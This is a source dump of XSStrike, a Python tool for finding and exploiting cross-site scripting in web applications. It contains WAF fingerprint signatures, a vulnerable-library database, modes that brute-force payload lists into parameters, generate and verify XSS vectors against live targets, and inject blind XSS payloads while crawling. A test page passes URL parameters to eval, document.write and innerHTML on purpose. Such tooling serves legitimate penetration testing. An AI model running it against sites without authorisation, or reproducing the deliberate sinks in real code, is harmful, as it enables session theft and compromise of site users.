"summary" : "XSS"
},
"severity" : "medium",
"info": [ "https://github.com/ckeditor/ckeditor-dev/blob/master/CHANGES.md#ckeditor-448" ]
},
{
"below" : "4.5.11",
"identifiers" : {
"summary" : "XSS"
},
"severity" : "medium",
"info": [ "https://github.com/ckeditor/ckeditor-dev/blob/master/CHANGES.md#ckeditor-4511" ]
},
{
"below" : "4.9.2",
"atOrAbove" : "4.5.11",
"identifiers" : {
"summary" : "XSS if the enhanced image plugin is installed"
},
"severity" : "medium",
"info": [ "https://ckeditor.com/blog/CKEditor-4.9.2-with-a-security-patch-released/", "https://ckeditor.com/cke4/release-notes" ]
},
{
"atOrAbove" : "4.0.0",
"below" : "4.11.0",
"identifiers" : {
"summary" : "XSS vulnerability in the HTML parser"
},
"severity" : "medium",
"info" : [
"https://ckeditor.com/blog/CKEditor-4.11-with-emoji-dropdown-and-auto-link-on-typing-released/",
"https://snyk.io/vuln/SNYK-JS-CKEDITOR-72618"
]
}
],
"extractors" : {
"uri" : [ "/([0-9][0-9.a-z_-]+)/ckeditor(\\.min)?\\.js" ],
"filename" : [ "ckeditor-([0-9][0-9.a-z_-]+)(\\.min)?\\.js" ],
"filecontent" : [
"ckeditor..js.{4,20}=\\{timestamp:\"[^\"]+\",version:\"([0-9][0-9.a-z_-]+)",
"window.CKEDITOR=function\\(\\)\\{var [a-z]=\\{timestamp:\"[^\"]+\",version:\"([0-9][0-9.a-z_-]+)"
],
"hashes" : {},
"func" : [ "CKEDITOR.version" ]
}
},
"vue" : {
"vulnerabilities" : [
{
"below" : "2.5.17",
"severity" : "medium",
"identifiers" : {
"summary" : "potential xss in ssr when using v-bind"
},
"info" : [ "https://github.com/vuejs/vue/releases/tag/v2.5.17" ]
},
{
"below" : "2.4.3",
"severity" : "medium",
"identifiers" : {
"summary" : "possible xss vector "
},
"info" : [ "https://github.com/vuejs/vue/releases/tag/v2.4.3" ]
}
],
"extractors" : {
"uri" : [
"/vue@([0-9][0-9.a-z_-]+)/dist/vue\\.js"
],
"filename" : [ "vue-([0-9][0-9.a-z_-]+)(\\.min)?\\.js" ],
"filecontent" : [
"/\\*!\\n * Vue.js v([0-9][0-9.a-z_-]+)",
"Vue.version = '([0-9][0-9.a-z_-]+)';",
"'([0-9][0-9.a-z_-]+)'[^\\n]{0,8000}Vue compiler"
],
"func" : [ "Vue.version" ]
}
},
"ExtJS" : {
"vulnerabilities" : [
{
"below" : "6.6.0",
"atOrAbove" : "4.0.0",
"severity" : "high",
"identifiers" : {
"CVE" : [
"CVE-2018-8046"
],
"summary" : "XSS in Sencha Ext JS 4 to 6 via getTip() method of Action Columns"
},
"info" : [
"http://seclists.org/fulldisclosure/2018/Jul/8",
"https://nvd.nist.gov/vuln/detail/CVE-2018-8046"
]
},
{
"below" : "6.0.0",
"severity" : "high",
"identifiers" : {
"CVE" : [
"CVE-2007-2285"
],
"summary" : "Directory traversal and arbitrary file read"
},
"info" : [
"https://www.cvedetails.com/cve/CVE-2007-2285/",
"https://packetstormsecurity.com/files/132052/extjs-Arbitrary-File-Read.html",
"https://www.akawebdesign.com/2018/08/14/should-js-frameworks-prevent-xss/"
]
},
{
"below" : "4.0.0",
"atOrAbove" : "3.0.0",
"severity" : "high",
"identifiers" : {
"CVE" : [
"CVE-2010-4207",
"CVE-2012-5881"
],
"summary" : "XSS vulnerability in ExtJS charts.swf"
},
"info" : [
"https://www.acunetix.com/vulnerabilities/web/extjs-charts-swf-cross-site-scripting",
"https://typo3.org/security/advisory/typo3-core-sa-2014-001/",
"https://www.akawebdesign.com/2018/08/14/should-js-frameworks-prevent-xss/"
]
}
],
"extractors" : {
"uri" : [
"/extjs/([0-9][0-9.a-z_-]+)/.*\\.js"
],
"filename" : [
"/ext-all-([0-9][0-9.a-z_-]+)(\\.min)?\\.js",
"/ext-all-debug-([0-9][0-9.a-z_-]+)(\\.min)?\\.js",
"/ext-base-([0-9][0-9.a-z_-]+)(\\.min)?\\.js"
],
"filecontent" : [
"/*!\n * Ext JS Library ([0-9][0-9.a-z_-]+)"
],
"func" : [
"Ext && Ext.versions && Ext.versions.extjs.version",
"Ext && Ext.version"
]
}
},
"dont check" : {
"extractors" : {
"uri" : [
"^http[s]?://(ssl|www).google-analytics.com/ga.js",
"^http[s]?://apis.google.com/js/plusone.js",
"^http[s]?://cdn.cxense.com/cx.js"
]
}
}
}
================================================
FILE: db/wafSignatures.json
================================================
{
"360 Web Application Firewall (360)" : {
"code" : "493",
"page" : "/wzws-waf-cgi/",
"headers" : "X-Powered-By-360wzb"
},
"aeSecure" : {
"code" : "",
"page" : "aesecure_denied.png",
"headers" : "aeSecure-code"
},
"Airlock (Phion/Ergon)" : {
"code" : "",
"page" : "",
"headers" : "AL[_-]?(SESS|LB)"
},
"Anquanbao Web Application Firewall (Anquanbao)" : {
"code" : "405",
"page" : "/aqb_cc/error/|hidden_intercept_time",
"headers" : "X-Powered-By-Anquanbao"
},
"Armor Protection (Armor Defense)" : {
"code" : "",
"page" : "This request has been blocked by website protection from Armor",
"headers" : ""
},
"Application Security Manager (F5 Networks)" : {
"code" : "",
"page" : "The requested URL was rejected\\. Please consult with your administrator\\.",
"headers" : ""
},
"Amazon Web Services Web Application Firewall (Amazon)" : {
"code" : "403",
"page" : "",
"headers" : "\\bAWS"
},
"Yunjiasu Web Application Firewall (Baidu)" : {
"code" : "",
"page" : "",
"headers" : "yunjiasu-nginx"
},
"Barracuda Web Application Firewall (Barracuda Networks)" : {
"code" : "",
"page" : "",
"headers" : "barra_counter_session=|(|\\b)barracuda_"
},
"BIG-IP Application Security Manager (F5 Networks)" : {
"code" : "",
"page" : "",
"headers" : "BigIP|F5\\Z|\\bTS[0-9a-f]+=|X-WA-Info:|X-Cnection:"
},
"BinarySEC Web Application Firewall (BinarySEC)" : {
"code" : "",
"page" : "",
"headers" : "binarysec"
},
"BlockDoS" : {
"code" : "",
"page" : "",
"headers" : "BlockDos\\.net"
},
"ChinaCache (ChinaCache Networks)" : {
"code" : "400",
"page" : "",
"headers" : "Powered-By-ChinaCache"
},
"Cisco ACE XML Gateway (Cisco Systems)" : {
"code" : "",
"page" : "",
"headers" : "ACE XML Gateway"
},
"Cloudbric Web Application Firewall (Cloudbric)" : {
"code" : "",
"page" : "Cloudbric|Malicious Code Detected",
"headers" : ""
},
"CloudFlare Web Application Firewall (CloudFlare)" : {
"code" : "",
"page" : "Attention Required! \\| Cloudflare|CloudFlare Ray ID:|var CloudFlare=|CLOUDFLARE_ERROR_500S_BOX",
"headers" : "cloudflare|__cfduid=|cf-ray"
},
"CloudFront (Amazon)" : {
"code" : "",
"page" : "",
"headers" : "Error from cloudfront"
},
"Comodo Web Application Firewall (Comodo)" : {
"code" : "",
"page" : "",
"headers" : "Protected by COMODO WAF"
},
"CrawlProtect (Jean-Denis Brun)" : {
"code" : "",
"page" : "This site is protected by CrawlProtect",
"headers" : ""
},
"IBM WebSphere DataPower (IBM)" : {
"code" : "",
"page" : "",
"headers" : "X-Backside-Transport.*?(OK|FAIL)"
},
"Deny All Web Application Firewall (DenyAll)" : {
"code" : "",
"page" : "Condition Intercepted",
"headers" : "sessioncookie"
},
"Distil Web Application Firewall Security (Distil Networks)" : {
"code" : "",
"page" : "",
"headers" : "x-distil-cs"
},
"DOSarrest (DOSarrest Internet Security)" : {
"code" : "",
"page" : "",
"headers" : "DOSarrest|X-DIS-Request-ID"
},
"dotDefender (Applicure Technologies)" : {
"code" : "",
"page" : "dotDefender Blocked Your Request|<meta name=\\.description\\. content=\\.Applicure is the leading provider of web application security|Please contact the site administrator, and provide the following Reference ID:EdgeCast Web Application Firewall (Verizon)",
"headers" : "X-dotDefender-denied"
},
"EdgeCast Web Application Firewall (Verizon)" : {
"code" : "400",
"page" : "",
"headers" : "SERVER.*?ECDF"
},
"ExpressionEngine (EllisLab)" : {
"code" : "",
"page" : "Invalid (GET|POST) Data",
"headers" : ""
},
"FortiWeb Web Application Firewall (Fortinet)" : {
"code" : "",
"page" : "\\.fgd_icon|\\.blocked|\\.authenticate",
"headers" : "FORTIWAFSID=|cookiesession1="
},
"Hyperguard Web Application Firewall (art of defence)" : {
"code" : "",
"page" : "",
"headers" : "ODSESSION="
},
"Incapsula Web Application Firewall (Incapsula/Imperva)" : {
"code" : "",
"page" : "Incapsula incident ID|_Incapsula_Resource|subject=WAF Block Page|If you feel you have been blocked in error, please contact Customer Support",
"headers" : "X-Iinfo|incap_ses|visid_incap"
},
"ISA Server (Microsoft)" : {
"code" : "",
"page" : "The server denied the specified Uniform Resource Locator (URL)\\. Contact the server administrator\\.",
"headers" : ""
},
"Jiasule Web Application Firewall (Jiasule)" : {
"code" : "403",
"page" : "static\\.jiasule\\.com/static/js/http_error\\.js|notice-jiasule",
"headers" : "jiasule-WAF|__jsluid=|jsl_tracking"
},
"KS-WAF (Knownsec)" : {
"code" : "",
"page" : "ks-waf-error\\.png'",
"headers" : ""
},
"KONA Security Solutions (Akamai Technologies)" : {
"code" : "400|403|501",
"page" : "",
"headers" : "AkamaiGHost"
},
"ModSecurity: Open Source Web Application Firewall (Trustwave)" : {
"code" : "",
"page" : "This error was generated by Mod_Security|One or more things in your request were suspicious|rules of the mod_security module",
"headers" : "Mod_Security|NOYB"
},
"NAXSI (NBS System)" : {
"code" : "",
"page" : "",
"headers" : "naxsi/waf"
},
"NetContinuum Web Application Firewall (NetContinuum/Barracuda Networks)" : {
"code" : "",
"page" : "",
"headers" : "NCI__SessionId="
},
"NetScaler (Citrix Systems)" : {
"code" : "",
"page" : "",
"headers" : "ns_af=|citrix_ns_id|NSC_|NS-CACHE"
},
"Newdefend Web Application Firewall (Newdefend)" : {
"code" : "",
"page" : "",
"headers" : "newdefend"
},
"NSFOCUS Web Application Firewall (NSFOCUS)" : {
"code" : "",
"page" : "",
"headers" : "NSFocus"
},
"Palo Alto Firewall (Palo Alto Networks)" : {
"code" : "",
"page" : "has been blocked in accordance with company policy",
"headers" : ""
},
"Profense Web Application Firewall (Armorlogic)" : {
"code" : "",
"page" : "",
"headers" : "PLBSID=|Profense"
},
"AppWall (Radware)" : {
"code" : "",
"page" : "Unauthorized Activity Has Been Detected.*?Case Number:",
"headers" : "X-SL-CompState"
},
"Reblaze Web Application Firewall (Reblaze)" : {
"code" : "",
"page" : "",
"headers" : "rbzid=|Reblaze Secure Web Gateway"
},
"ASP.NET RequestValidationMode (Microsoft)" : {
"code" : "500",
"page" : "ASP\\.NET has detected data in the request that is potentially dangerous|Request Validation has detected a potentially dangerous client input value|HttpRequestValidationException",
"headers" : ""
},
"Safe3 Web Application Firewall" : {
"code" : "",
"page" : "",
"headers" : "Safe3"
},
"Safedog Web Application Firewall (Safedog)" : {
"code" : "",
"page" : "",
"headers" : "WAF/2\\.0|safedog"
},
"SecureIIS Web Server Security (BeyondTrust)" : {
"code" : "",
"page" : "SecureIIS.*?Web Server Protection|http://www\\.eeye\\.com/SecureIIS/|\\?subject=[^>]*SecureIIS Error",
"headers" : ""
},
"SEnginx (Neusoft Corporation)" : {
"code" : "",
"page" : "SENGINX-ROBOT-MITIGATION",
"headers" : ""
},
"TrueShield Web Application Firewall (SiteLock)" : {
"code" : "",
"page" : "SiteLock Incident ID|sitelock-site-verification|sitelock_shield_logo",
"headers" : ""
},
"SonicWALL (Dell)" : {
"code" : "",
"page" : "This request is blocked by the SonicWALL|#shd|#nsa_banner|Web Site Blocked.*?\\bnsa_banner",
"headers" : "SonicWALL"
},
"UTM Web Protection (Sophos)" : {
"code" : "",
"page" : "Powered by UTM Web Protection",
"headers" : ""
},
"Stingray Application Firewall (Riverbed / Brocade)" : {
"code" : "403|500",
"page" : "",
"headers" : "X-Mapping-"
},
"CloudProxy WebSite Firewall (Sucuri)" : {
"code" : "403",
"page" : "Access Denied.*?Sucuri Website Firewall|Sucuri WebSite Firewall.*?Access Denied|Questions\\?.*?cloudproxy@sucuri\\.net",
"headers" : "Sucuri/Cloudproxy|X-Sucuri"
},
"Tencent Cloud Web Application Firewall (Tencent Cloud Computing)" : {
"code" : "405",
"page" : "waf\\.tencent-cloud\\.com",
"headers" : ""
},
"Teros/Citrix Application Firewall Enterprise (Teros/Citrix Systems)" : {
"code" : "",
"page" : "",
"headers" : "st8(id|_wat|_wlf)"
},
"TrafficShield (F5 Networks)" : {
"code" : "",
"page" : "",
"headers" : "F5-TrafficShield|ASINFO="
},
"UrlScan (Microsoft)" : {
"code" : "",
"page" : "Rejected-By-UrlScan",
"headers" : "Rejected-By-UrlScan"
},
"USP Secure Entry Server (United Security Providers)" : {
"code" : "",
"page" : "",
"headers" : "Secure Entry Server"
},
"Varnish FireWall (OWASP)" : {
"code" : "",
"page" : "Request rejected by xVarnish-WAF|\\bXID: \\d+",
"headers" : ""
},
"Wallarm Web Application Firewall (Wallarm)" : {
"code" : "",
"page" : "",
"headers" : "nginx-wallarm"
},
"WatchGuard (WatchGuard Technologies)" : {
"code" : "",
"page" : "",
"headers" : "WatchGuard"
},
"WebKnight Application Firewall (AQTRONIX)" : {
"code" : "999",
"page" : "WebKnight Application Firewall Alert|AQTRONIX WebKnight",
"headers" : "WebKnight"
},
"Wordfence (Feedjit)" : {
"code" : "",
"page" : "This response was generated by Wordfence|Your access to this site has been limited",
"headers" : ""
},
"Zenedge Web Application Firewall (Zenedge)" : {
"code" : "",
"page" : "zenedge/assets/",
"headers" : "ZENEDGE"
},
"Yundun Web Application Firewall (Yundun)" : {
"code" : "",
"page" : "",
"headers" : "YUNDUN"
},
"Yunsuo Web Application Firewall (Yunsuo)" : {
"code" : "",
"page" : "<img class=.yunsuologo.",
"headers" : "yunsuo_session"
}
}
================================================
FILE: modes/__init__.py
================================================
================================================
FILE: modes/bruteforcer.py
================================================
import copy
from urllib.parse import urlparse, unquote
from core.colors import good, green, end
from core.requester import requester
from core.utils import getUrl, getParams
from core.log import setup_logger
logger = setup_logger(__name__)
def bruteforcer(target, paramData, payloadList, encoding, headers, delay, timeout):
GET, POST = (False, True) if paramData else (True, False)
host = urlparse(target).netloc # Extracts host out of the url
logger.debug('Parsed host to bruteforce: {}'.format(host))
url = getUrl(target, GET)
logger.debug('Parsed url to bruteforce: {}'.format(url))
params = getParams(target, paramData, GET)
logger.debug_json('Bruteforcer params:', params)
if not params:
logger.error('No parameters to test.')
quit()
for paramName in params.keys():
progress = 1
paramsCopy = copy.deepcopy(params)
for payload in payloadList:
logger.run('Bruteforcing %s[%s%s%s]%s: %i/%i\r' %
(green, end, paramName, green, end, progress, len(payloadList)))
if encoding:
payload = encoding(unquote(payload))
paramsCopy[paramName] = payload
response = requester(url, paramsCopy, headers,
GET, delay, timeout).text
if encoding:
payload = encoding(payload)
if payload in response:
logger.info('%s %s' % (good, payload))
progress += 1
logger.no_format('')
================================================
FILE: modes/crawl.py
================================================
import copy
import re
import core.config
from core.colors import green, end
from core.config import xsschecker
from core.filterChecker import filterChecker
from core.generator import generator
from core.htmlParser import htmlParser
from core.requester import requester
from core.log import setup_logger
logger = setup_logger(__name__)
def crawl(scheme, host, main_url, form, blindXSS, blindPayload, headers, delay, timeout, encoding):
if form:
for each in form.values():
url = each['action']
if url:
if url.startswith(main_url):
pass
elif url.startswith('//') and url[2:].startswith(host):
url = scheme + '://' + url[2:]
elif url.startswith('/'):
url = scheme + '://' + host + url
elif re.match(r'\w', url[0]):
url = scheme + '://' + host + '/' + url
if url not in core.config.globalVariables['checkedForms']:
core.config.globalVariables['checkedForms'][url] = []
method = each['method']
GET = True if method == 'get' else False
inputs = each['inputs']
paramData = {}
for one in inputs:
paramData[one['name']] = one['value']
for paramName in paramData.keys():
if paramName not in core.config.globalVariables['checkedForms'][url]:
core.config.globalVariables['checkedForms'][url].append(paramName)
paramsCopy = copy.deepcopy(paramData)
paramsCopy[paramName] = xsschecker
response = requester(
url, paramsCopy, headers, GET, delay, timeout)
occurences = htmlParser(response, encoding)
positions = occurences.keys()
occurences = filterChecker(
url, paramsCopy, headers, GET, delay, occurences, timeout, encoding)
vectors = generator(occurences, response.text)
if vectors:
for confidence, vects in vectors.items():
try:
payload = list(vects)[0]
logger.vuln('Vulnerable webpage: %s%s%s' %
(green, url, end))
logger.vuln('Vector for %s%s%s: %s' %
(green, paramName, end, payload))
break
except IndexError:
pass
if blindXSS and blindPayload:
paramsCopy[paramName] = blindPayload
requester(url, paramsCopy, headers,
GET, delay, timeout)
================================================
FILE: modes/scan.py
================================================
import copy
import re
from urllib.parse import urlparse, quote, unquote
from core.checker import checker
from core.colors import end, green, que
import core.config
from core.config import xsschecker, minEfficiency
from core.dom import dom
from core.filterChecker import filterChecker
from core.generator import generator
from core.htmlParser import htmlParser
from core.requester import requester
from core.utils import getUrl, getParams, getVar
from core.wafDetector import wafDetector
from core.log import setup_logger
logger = setup_logger(__name__)
def scan(target, paramData, encoding, headers, delay, timeout, skipDOM, skip):
GET, POST = (False, True) if paramData else (True, False)
# If the user hasn't supplied the root url with http(s), we will handle it
if not target.startswith('http'):
try:
response = requester('https://' + target, {},
headers, GET, delay, timeout)
target = 'https://' + target
except:
target = 'http://' + target
logger.debug('Scan target: {}'.format(target))
response = requester(target, {}, headers, GET, delay, timeout).text
if not skipDOM:
logger.run('Checking for DOM vulnerabilities')
highlighted = dom(response)
if highlighted:
logger.good('Potentially vulnerable objects found')
logger.red_line(level='good')
for line in highlighted:
logger.no_format(line, level='good')
logger.red_line(level='good')
host = urlparse(target).netloc # Extracts host out of the url
logger.debug('Host to scan: {}'.format(host))
url = getUrl(target, GET)
logger.debug('Url to scan: {}'.format(url))
params = getParams(target, paramData, GET)
logger.debug_json('Scan parameters:', params)
if not params:
logger.error('No parameters to test.')
quit()
WAF = wafDetector(
url, {list(params.keys())[0]: xsschecker}, headers, GET, delay, timeout)
if WAF:
logger.error('WAF detected: %s%s%s' % (green, WAF, end))
else:
logger.good('WAF Status: %sOffline%s' % (green, end))
for paramName in params.keys():
paramsCopy = copy.deepcopy(params)
logger.info('Testing parameter: %s' % paramName)
if encoding:
paramsCopy[paramName] = encoding(xsschecker)
else:
paramsCopy[paramName] = xsschecker
response = requester(url, paramsCopy, headers, GET, delay, timeout)
occurences = htmlParser(response, encoding)
positions = occurences.keys()
logger.debug('Scan occurences: {}'.format(occurences))
if not occurences:
logger.error('No reflection found')
continue
else:
logger.info('Reflections found: %i' % len(occurences))
logger.run('Analysing reflections')
efficiencies = filterChecker(
url, paramsCopy, headers, GET, delay, occurences, timeout, encoding)
logger.debug('Scan efficiencies: {}'.format(efficiencies))
logger.run('Generating payloads')
vectors = generator(occurences, response.text)
total = 0
for v in vectors.values():
total += len(v)
if total == 0:
logger.error('No vectors were crafted.')
continue
logger.info('Payloads generated: %i' % total)
progress = 0
for confidence, vects in vectors.items():
for vect in vects:
if core.config.globalVariables['path']:
vect = vect.replace('/', '%2F')
loggerVector = vect
progress += 1
logger.run('Progress: %i/%i\r' % (progress, total))
if not GET:
vect = unquote(vect)
efficiencies = checker(
url, paramsCopy, headers, GET, delay, vect, positions, timeout, encoding)
if not efficiencies:
for i in range(len(occurences)):
efficiencies.append(0)
bestEfficiency = max(efficiencies)
if bestEfficiency == 100 or (vect[0] == '\\' and bestEfficiency >= 95):
logger.red_line()
logger.good('Payload: %s' % loggerVector)
logger.info('Efficiency: %i' % bestEfficiency)
logger.info('Confidence: %i' % confidence)
if not skip:
choice = input(
'%s Would you like to continue scanning? [y/N] ' % que).lower()
if choice != 'y':
quit()
elif bestEfficiency > minEfficiency:
logger.red_line()
logger.good('Payload: %s' % loggerVector)
logger.info('Efficiency: %i' % bestEfficiency)
logger.info('Confidence: %i' % confidence)
logger.no_format('')
================================================
FILE: modes/singleFuzz.py
================================================
import copy
from urllib.parse import urlparse
from core.colors import green, end
from core.config import xsschecker
from core.fuzzer import fuzzer
from core.requester import requester
from core.utils import getUrl, getParams
from core.wafDetector import wafDetector
from core.log import setup_logger
logger = setup_logger(__name__)
def singleFuzz(target, paramData, encoding, headers, delay, timeout):
GET, POST = (False, True) if paramData else (True, False)
# If the user hasn't supplied the root url with http(s), we will handle it
if not target.startswith('http'):
try:
response = requester('https://' + target, {},
headers, GET, delay, timeout)
target = 'https://' + target
except:
target = 'http://' + target
logger.debug('Single Fuzz target: {}'.format(target))
host = urlparse(target).netloc # Extracts host out of the url
logger.debug('Single fuzz host: {}'.format(host))
url = getUrl(target, GET)
logger.debug('Single fuzz url: {}'.format(url))
params = getParams(target, paramData, GET)
logger.debug_json('Single fuzz params:', params)
if not params:
logger.error('No parameters to test.')
quit()
WAF = wafDetector(
url, {list(params.keys())[0]: xsschecker}, headers, GET, delay, timeout)
if WAF:
logger.error('WAF detected: %s%s%s' % (green, WAF, end))
else:
logger.good('WAF Status: %sOffline%s' % (green, end))
for paramName in params.keys():
logger.info('Fuzzing parameter: %s' % paramName)
paramsCopy = copy.deepcopy(params)
paramsCopy[paramName] = xsschecker
fuzzer(url, paramsCopy, headers, GET,
delay, timeout, WAF, encoding)
================================================
FILE: plugins/__init__.py
================================================
================================================
FILE: plugins/retireJs.py
================================================
import re
import json
import hashlib
from urllib.parse import urlparse
from core.colors import green, end
from core.requester import requester
from core.utils import deJSON, js_extractor, handle_anchor, getVar, updateVar
from core.log import setup_logger
logger = setup_logger(__name__)
def is_defined(o):
return o is not None
def scan(data, extractor, definitions, matcher=None):
matcher = matcher or _simple_match
detected = []
for component in definitions:
extractors = definitions[component].get(
"extractors", None).get(
extractor, None)
if (not is_defined(extractors)):
continue
for i in extractors:
match = matcher(i, data)
if (match):
detected.append({"version": match,
"component": component,
"detection": extractor})
return detected
def _simple_match(regex, data):
regex = deJSON(regex)
match = re.search(regex, data)
return match.group(1) if match else None
def _replacement_match(regex, data):
try:
regex = deJSON(regex)
group_parts_of_regex = r'^\/(.*[^\\])\/([^\/]+)\/$'
ar = re.search(group_parts_of_regex, regex)
search_for_regex = "(" + ar.group(1) + ")"
match = re.search(search_for_regex, data)
ver = None
if (match):
ver = re.sub(ar.group(1), ar.group(2), match.group(0))
return ver
return None
except:
return None
def _scanhash(hash, definitions):
for component in definitions:
hashes = definitions[component].get("extractors", None).get("hashes", None)
if (not is_defined(hashes)):
continue
for i in hashes:
if (i == hash):
return [{"version": hashes[i],
"component": component,
"detection": 'hash'}]
return []
def check(results, definitions):
for r in results:
result = r
if (not is_defined(definitions[result.get("component", None)])):
continue
vulns = definitions[
result.get(
"component",
None)].get(
"vulnerabilities",
None)
for i in range(len(vulns)):
if (not _is_at_or_above(result.get("version", None),
vulns[i].get("below", None))):
if (is_defined(vulns[i].get("atOrAbove", None)) and not _is_at_or_above(
result.get("version", None), vulns[i].get("atOrAbove", None))):
continue
vulnerability = {"info": vulns[i].get("info", None)}
if (vulns[i].get("severity", None)):
vulnerability["severity"] = vulns[i].get("severity", None)
if (vulns[i].get("identifiers", None)):
vulnerability["identifiers"] = vulns[
i].get("identifiers", None)
result["vulnerabilities"] = result.get(
"vulnerabilities", None) or []
result["vulnerabilities"].append(vulnerability)
return results
def unique(ar):
return list(set(ar))
def _is_at_or_above(version1, version2):
# print "[",version1,",", version2,"]"
v1 = re.split(r'[.-]', version1)
v2 = re.split(r'[.-]', version2)
l = len(v1) if len(v1) > len(v2) else len(v2)
for i in range(l):
v1_c = _to_comparable(v1[i] if len(v1) > i else None)
v2_c = _to_comparable(v2[i] if len(v2) > i else None)
# print v1_c, "vs", v2_c
if (not isinstance(v1_c, type(v2_c))):
return isinstance(v1_c, int)
if (v1_c > v2_c):
return True
if (v1_c < v2_c):
return False
return True
def _to_comparable(n):
if (not is_defined(n)):
return 0
if (re.search(r'^[0-9]+$', n)):
return int(str(n), 10)
return n
def _replace_version(jsRepoJsonAsText):
return re.sub(r'[.0-9]*', '[0-9][0-9.a-z_\-]+', jsRepoJsonAsText)
def is_vulnerable(results):
for r in results:
if ('vulnerabilities' in r):
# print r
return True
return False
def scan_uri(uri, definitions):
result = scan(uri, 'uri', definitions)
return check(result, definitions)
def scan_filename(fileName, definitions):
result = scan(fileName, 'filename', definitions)
return check(result, definitions)
def scan_file_content(content, definitions):
result = scan(content, 'filecontent', definitions)
if (len(result) == 0):
result = scan(content, 'filecontentreplace', definitions, _replacement_match)
if (len(result) == 0):
result = _scanhash(
hashlib.sha1(
content.encode('utf8')).hexdigest(),
definitions)
return check(result, definitions)
def main_scanner(uri, response):
definitions = getVar('definitions')
uri_scan_result = scan_uri(uri, definitions)
filecontent = response
filecontent_scan_result = scan_file_content(filecontent, definitions)
uri_scan_result.extend(filecontent_scan_result)
result = {}
if uri_scan_result:
result['component'] = uri_scan_result[0]['component']
result['version'] = uri_scan_result[0]['version']
result['vulnerabilities'] = []
vulnerabilities = set()
for i in uri_scan_result:
k = set()
try:
for j in i['vulnerabilities']:
vulnerabilities.add(str(j))
except KeyError:
pass
for vulnerability in vulnerabilities:
result['vulnerabilities'].append(json.loads(vulnerability.replace('\'', '"')))
return result
def retireJs(url, response):
scripts = js_extractor(response)
for script in scripts:
if script not in getVar('checkedScripts'):
updateVar('checkedScripts', script, 'add')
uri = handle_anchor(url, script)
response = requester(uri, '', getVar('headers'), True, getVar('delay'), getVar('timeout')).text
result = main_scanner(uri, response)
if result:
logger.red_line()
logger.good('Vulnerable component: ' + result['component'] + ' v' + result['version'])
logger.info('Component location: %s' % uri)
details = result['vulnerabilities']
logger.info('Total vulnerabilities: %i' % len(details))
for detail in details:
logger.info('%sSummary:%s %s' % (green, end, detail['identifiers']['summary']))
logger.info('Severity: %s' % detail['severity'])
logger.info('CVE: %s' % detail['identifiers']['CVE'][0])
logger.red_line()
================================================
FILE: requirements.txt
================================================
tld
fuzzywuzzy
requests
================================================
FILE: test.html
================================================
<!DOCTYPE html>
<html>
<body>
<div>
<pre>document.writeln(new URL(window.location.href).searchParams.get("a"))</pre>
<script>document.writeln(new URL(window.location.href).searchParams.get("a"))</script>
</div>
<div>
<pre>document.write(new URLSearchParams(window.location.search).get("b"))</pre>
<script>document.write(new URLSearchParams(window.location.search).get("b"))</script>
</div>
<div>
<pre>eval(new URLSearchParams(window.location.search).get("c") || "")</pre>
<script>eval(new URLSearchParams(window.location.search).get("c") || "")</script>
</div>
<div>
<div id="xss-d"></div>
<pre>document.querySelector("#xss-d").innerHTML = new URLSearchParams(window.location.search).get("d")</pre>
<script>document.querySelector("#xss-d").innerHTML = new URLSearchParams(window.location.search).get("d")</script>
</div>
</body>
</html>
================================================
FILE: xsstrike.py
================================================
#!/usr/bin/env python3
from __future__ import print_function
from core.colors import end, red, white, bad, info
# Just a fancy ass banner
print('''%s
\tXSStrike %sv3.1.5
%s''' % (red, white, end))
try:
import concurrent.futures
from urllib.parse import urlparse
try:
import fuzzywuzzy
except ImportError:
import os
print ('%s fuzzywuzzy isn\'t installed, installing now.' % info)
ret_code = os.system('pip3 install fuzzywuzzy')
if(ret_code != 0):
print('%s fuzzywuzzy installation failed.' % bad)
quit()
print ('%s fuzzywuzzy has been installed, restart XSStrike.' % info)
quit()
except ImportError: # throws error in python2
print('%s XSStrike isn\'t compatible with python2.\n Use python > 3.4 to run XSStrike.' % bad)
quit()
# Let's import whatever we need from standard lib
import sys
import json
import argparse
# ... and configurations core lib
import core.config
import core.log
# Processing command line arguments, where dest var names will be mapped to local vars with the same name
parser = argparse.ArgumentParser()
parser.add_argument('-u', '--url', help='url', dest='target')
parser.add_argument('--data', help='post data', dest='paramData')
parser.add_argument('-e', '--encode', help='encode payloads', dest='encode')
parser.add_argument('--fuzzer', help='fuzzer',
dest='fuzz', action='store_true')
parser.add_argument('--update', help='update',
dest='update', action='store_true')
parser.add_argument('--timeout', help='timeout',
dest='timeout', type=int, default=core.config.timeout)
parser.add_argument('--proxy', help='use prox(y|ies)',
dest='proxy', action='store_true')
parser.add_argument('--crawl', help='crawl',
dest='recursive', action='store_true')
parser.add_argument('--json', help='treat post data as json',
dest='jsonData', action='store_true')
parser.add_argument('--path', help='inject payloads in the path',
dest='path', action='store_true')
parser.add_argument(
'--seeds', help='load crawling seeds from a file', dest='args_seeds')
parser.add_argument(
'-f', '--file', help='load payloads from a file', dest='args_file')
parser.add_argument('-l', '--level', help='level of crawling',
dest='level', type=int, default=2)
parser.add_argument('--headers', help='add headers',
dest='add_headers', nargs='?', const=True)
parser.add_argument('-t', '--threads', help='number of threads',
dest='threadCount', type=int, default=core.config.threadCount)
parser.add_argument('-d', '--delay', help='delay between requests',
dest='delay', type=int, default=core.config.delay)
parser.add_argument('--skip', help='don\'t ask to continue',
dest='skip', action='store_true')
parser.add_argument('--skip-dom', help='skip dom checking',
dest='skipDOM', action='store_true')
parser.add_argument('--blind', help='inject blind XSS payload while crawling',
dest='blindXSS', action='store_true')
parser.add_argument('--console-log-level', help='Console logging level',
dest='console_log_level', default=core.log.console_log_level,
choices=core.log.log_config.keys())
parser.add_argument('--file-log-level', help='File logging level', dest='file_log_level',
choices=core.log.log_config.keys(), default=None)
parser.add_argument('--log-file', help='Name of the file to log', dest='log_file',
default=core.log.log_file)
args = parser.parse_args()
# Pull all parameter values of dict from argparse namespace into local variables of name == key
# The following works, but the static checkers are too static ;-) locals().update(vars(args))
target = args.target
path = args.path
jsonData = args.jsonData
paramData = args.paramData
encode = args.encode
fuzz = args.fuzz
update = args.update
timeout = args.timeout
proxy = args.proxy
recursive = args.recursive
args_file = args.args_file
args_seeds = args.args_seeds
level = args.level
add_headers = args.add_headers
threadCount = args.threadCount
delay = args.delay
skip = args.skip
skipDOM = args.skipDOM
blindXSS = args.blindXSS
core.log.console_log_level = args.console_log_level
core.log.file_log_level = args.file_log_level
core.log.log_file = args.log_file
logger = core.log.setup_logger()
core.config.globalVariables = vars(args)
# Import everything else required from core lib
from core.config import blindPayload
from core.encoders import base64
from core.photon import photon
from core.prompt import prompt
from core.updater import updater
from core.utils import extractHeaders, reader, converter
